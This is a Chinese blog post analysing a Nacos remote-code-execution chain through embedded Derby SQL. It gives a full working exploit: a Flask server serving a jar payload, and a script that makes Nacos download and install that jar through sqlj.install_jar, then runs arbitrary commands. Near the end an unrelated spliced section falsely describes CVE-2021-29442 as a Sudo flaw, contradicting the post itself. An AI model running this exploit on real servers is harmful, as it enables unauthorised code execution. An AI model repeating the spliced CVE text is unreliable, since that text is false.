Nacos Derby从SQL到RCE

Nacos昨天爆出了一个漏洞poc:https://github.com/ayoundzw/nacos-poc。涉及两个路径

/nacos/v1/cs/ops/data/removal
nacos/v1/cs/ops/derby

其中第二个路径之前出现过漏洞:https://github.com/alibaba/nacos/issues/4463,对应编号CVE-2021-29442。漏洞成因是,Nacos当时的版本是有鉴权的,但是这个路径没有添加@Secured注解,可以未授权访问,并且可以用这个功能执行sql语句。该路径所在的ConfigOpsController类就是用于数据库管理。后来修复:https://github.com/alibaba/nacos/pull/4517对这个路径增加了注解,要求admin用户权限。也就是需要登录后台才能访问了。

    @GetMapping(value = "/derby")
    @Secured(action = ActionTypes.READ, resource = "nacos/admin")
    public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {...}

但是有意思的是,由于后来版本的鉴权在配置文件中包含默认的用户名、密码、key,导致了权限和认证绕过漏洞。参考:https://github.com/ax1sX/SecurityList/blob/main/Java_OA/NacosAudit.md。官方就干脆默认安装的时候不开启鉴权,让用户自己去配置,杜绝默认的用户名密码问题。但这也就意味着新版本中,默认是不开鉴权的,如果用户没有去配置鉴权,那上面CVE-2021-29442的路径还能利用。但是这个路径只支持select查询,无法实现RCE。

这个漏洞就配合了第一个路径,先将jar文件存储到数据库中,实现自定义函数,然后利用自定义函数实现RCE。写这篇文章就是因为第一步中对于derby攻击的利用方式是有通用的借鉴意义的。

漏洞复现

从github上https://github.com/alibaba/nacos/releases下载2.3.2或2.4.0版本,然后在bin目录下执行sh startup.sh -m standalone

PS:如果想要开启调试,需按下图更改startup.sh文件后再执行sh startup.sh -m standalone
加入调试

先启动service.py,脚本启动了一个web服务器,并且设置了一个路由/download

import base64
from flask import Flask, send_file,Response
import config

payload = b'base64'

app = Flask(__name__)

@app.route('/download')
def download_file():
    data = base64.b64decode(payload)
    print(data)
    response = Response(data, mimetype="application/octet-stream")
    return response

if __name__ == '__main__':
    app.run(host=config.server_host, port=config.server_port)

头部的import config,就是引入config.py的配置,定义了在什么ip和端口下起这个服务器。

server_host = '127.0.0.1'
server_port = 5000

payload实际就是一个jar文件的base64编码。可以用如下代码将其还原成jar包

import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;

public class Base64ToJar {
    public static void main(String[] args) {
        String base64String = "base64_string";
        byte[] jarBytes = Base64.getDecoder().decode(base64String);
        String jarFilePath = "output.jar";

        try (FileOutputStream fos = new FileOutputStream(jarFilePath)) {
            fos.write(jarBytes);
            System.out.println("JAR文件已成功生成: " + jarFilePath);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

对应的jar包如下

jar包内容

然后执行攻击脚本

import random
import sys
import requests
from urllib.parse import urljoin
import config


# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0,sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url,params={'sql':get_sql})
            print(get_resp.text)
            break


if __name__ == '__main__':
    service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)
    target = 'http://127.0.0.1:8848'
    command = 'open -a Calculator'
    target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
    command = input('请输入命令,默认:open -a Calculator:') or command
    exploit(target=target, command=command,service=service)

脚本执行结果如下。

漏洞复现

漏洞分析

先看看exploit中的第一步对/nacos/v1/cs/ops/data/removal路径发起POST请求。根据路由定位到ConfigOpsController。注释的意思是这类方法是将外部数据源被导入到derby中。
ConfigOpsController

代码首先判断了是否为embedded storage mode,想要不执行if中的代码就要求单机模式启动,单机模式启动时为standalone Mode,也就对应了漏洞复现时要求环境启动语句添加参数sh startup.sh -m standalone

然后执行文件上传,这里文件上传成功后会执行回调函数。也就是file -> {...中的内容。回调函数中调用 databaseOperate.dataImport(file) 方法,将文件数据导入数据库。

dataImport

dataImport()方法异步执行任务,逐行读取文件中的内容,将非空的内容放入batchUpdate这个列表变量中暂存。然后异步执行批量导入操作doDataImport(),将结果存储到results列表中。等所有异步任务完成,如果所有任务都成功,即results中没有false,那么返回状态码200,否则返回500。

逻辑很简单,上传sql语句,然后批量执行sql。poc中一共上传了三句sql。这就需要了解一下derby的语法,了解这三句sql分别有什么作用。

derby RCE

Apache Derby是一个开源的关系数据库管理系统 (RDBMS),它使用 Java 编写。Derby的特点就是轻量级,占用的内存小,适合嵌入式应用,所有的功能都可以嵌入到java应用中运行。加入要开发嵌入式设备,在设备上存储数据和用户信息,就可以选用Derby嵌入式数据库,通过API在设备上管理数据而不需要复杂的数据库管理和配置。

查看derby的官方文档

1. CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
2. CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
3. CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
  1. https://db.apache.org/derby/docs/10.9/ref/rrefstorejarinstall.html
    SQLJ.INSTALL_JAR是一个存储过程函数,将jar文件存储在数据库中。此功能一般用于扩展数据库或自定义功能。可以让jar文件中的类和方法在数据库执行sql和存储过程中使用。

SQLJ.INSTALL_JAR用法示例

第一个参数是要安装的jar文件的位置。第二个参数是安装后在数据库中使用的名称,一般为架构名称.ID。第三个参数是标志位,表示如果已经存在同名文件是否覆盖。0表示不覆盖。

  1. https://db.apache.org/derby/docs/10.1/ref/rrefsetdbpropproc.html
    SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY系统过程用于设置或删除当前连接上数据库的属性值。用法就是key:value。在这里就是将derby.database.classpath属性改为了jar安装后的名称NACOS.{id}

  2. https://db.apache.org/derby/docs/10.4/ref/rrefcreatefunctionstatement.html
    CREATE FUNCTION语句允许创建 Java 函数,然后可以在表达式中使用这些函数。但是函数中要求必须包含以下三个元素。
    CREATE FUNCTION函数要求
    LANGUAGE一般为JAVAEXTERNAL NAME代表函数执行时要调用的Java方法,格式为类名.方法名PARAMETER STYLE一般来说都是JAVA

CREATE FUNCTION示例

POC样式如下,EXTERNAL NAME就是jar包中类的全限定类名。

CREATE FUNCTION S_EXAMPLE_{id}
( PARAM VARCHAR(2000)) 
RETURNS VARCHAR(2000) 
PARAMETER STYLE JAVA 
NO SQL LANGUAGE JAVA 
EXTERNAL NAME 'test.poc.Example.exec'

那么总结上述三步,就是将读入的jar包安装到数据库中,并且将数据库连接属性值改为该jar包名称。然后创建自定义函数。

由于这步可以导入任何sql语句,那么理论上还可以在创建Funtion或Procedure后,直接执行Call Procedure。但是实际在Nacos下测试时这步会返回500。

触发自定义函数

/derby路径下的函数如下,该方法主要用于Derby数据库的查询操作,确保只执行SELECT语句,并在必要时添加分页限制。如果当前存储模式不是 Derby 或者遇到异常,方法会返回相应的错误信息。

/derby

在Java应用程序中使用JDBC API调用Derby的存储过程和函数会触发相应的函数执行。

附录

教一下如何把class打成jar包。

打jar包

### 关于 CVE-2021-29442 漏洞的详情 CVE-2021-29442 是一个存在于 Sudo 工具中的权限提升漏洞。Sudo 是 Linux 和 Unix 系统中广泛使用的工具,允许用户以超级用户或其他用户的权限运行命令。此漏洞的核心问题是当配置文件 `/etc/sudoers` 中存在特定模式时,攻击者可以通过构造特殊的输入来绕过预期的安全限制并获得未授权的权限。 #### 漏洞影响范围 该漏洞主要影响以下版本的 Sudo 软件: - **受影响版本**: 1.8.2 到 1.8.31p2[^6] - **修复版本**: 自 1.8.31p3 开始已修复此问题。 #### 漏洞利用条件 要成功利用此漏洞,需满足以下条件之一: 1. 配置文件 `/etc/sudoers` 中定义了 `ALL` 权限给某些用户或组。 2. 使用了不安全的默认设置或者错误配置。 一旦上述条件成立,本地攻击者能够通过精心设计的参数调用来获取 root 用户权限。 --- ### 修复方案 针对 CVE-2021-29442 的修复措施主要包括以下几个方面: #### 更新至最新版 Sudo 最直接有效的办法是升级到不受影响的新版本软件包。对于基于 RPM 或 DEB 的发行版来说,具体操作如下所示: ```bash # 对于 Debian/Ubuntu 系统 sudo apt update && sudo apt install --only-upgrade sudo # 对于 CentOS/Fedora/RHEL 系统 sudo yum check-update && sudo yum upgrade sudo ``` 如果当前的操作系统供应商已经发布了补丁,则应立即应用官方发布的更新程序[^7]。 #### 手动修补方式 如果不方便立刻进行全面升级,也可以采取临时性的缓解策略——即修改相关配置项避免潜在风险点被触发。例如仔细审查现有的 `/etc/sudoers` 文件及其包含的内容,移除不必要的宽松规则。 注意:任何手动调整都应当极其谨慎小心以免引入新的安全隐患! --- ### 总结说明 综上所述,及时安装厂商推送出来的安全更新是最推荐的做法;而对于无法即时完成全面部署的情况之下,则可通过加强管理控制减少暴露面作为过渡手段。无论如何都要保持警惕之心持续关注后续进展动态以便快速响应可能出现的变化情况。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值